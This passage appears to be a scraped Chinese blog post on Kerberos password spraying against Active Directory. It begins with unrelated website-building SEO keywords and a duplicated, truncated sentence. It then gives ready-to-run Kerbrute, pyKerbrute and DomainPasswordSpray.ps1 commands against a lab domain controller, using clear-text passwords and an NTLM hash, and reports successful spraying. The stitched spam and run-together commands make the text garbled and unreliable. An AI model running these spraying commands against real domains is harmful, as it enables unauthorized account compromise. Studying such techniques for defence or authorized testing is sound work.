柳州网络网站建设,上海高档网站建设,软件开发工程师面试题,商标申请在Kerberos阶段认证的AS-REQ阶段#xff0c;请求包cname对应的值是用户名#xff0c;当用户名存在时候#xff0c;密码正确和错误两种情况下#xff0c;AS-REP返回包不一样#xff0c;所以可以利用这一点对域用户名进行密码喷洒攻击 域内密码喷洒工具 Kerbrute kerbrut…在Kerberos阶段认证的AS-REQ阶段请求包cname对应的值是用户名当用户名存在时候密码正确和错误两种情况下AS-REP返回包不一样所以可以利用这一点对域用户名进行密码喷洒攻击 域内密码喷洒工具 Kerbrute kerbrute_windows_amd64.exe passwordspray --dc 10.211.55.7 -d hdh.com user.txt QWEasd123kerbrute_windows_amd64.exe passwordspray --dc 10.211.55.7 -d hdh.com user.txt password pyKerbrute 密码喷洒可以使用明文密码或密码hash python2 ADPwdSpray.py 10.211.55.7 hdh.com user.txt clearpassword Pss1234 tcp python2 ADPwdSpray.py 10.211.55.7 hdh.com user.txt clearpassword Pss1234 udp python2 ADPwdSpray.py 10.211.55.7 hdh.com user.txt ntlmhash 74520a4ec2626e3638066146a0d5ceae tcp python2 ADPwdSpray.py 10.211.55.7 hdh.com user.txt ntlmhash 74520a4ec2626e3638066146a0d5ceae udp DomainPasswordSpray.ps1 PowerShell脚本工具 使用条件必须在域内机器上执行因为默认情况下该脚本是利用LDAP从域中导出用户列表然后去除被锁定的用户再用指定的密码进行喷洒 Import-Module C:\Users\win7yu\Desktop\枚举\DomainPasswordSpray-master\DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -Password password 可以看到成功喷洒出密码 试试离线用户密码能不能喷洒此时qiezi的机器没有上线 可以看到成功爆破离线用户密码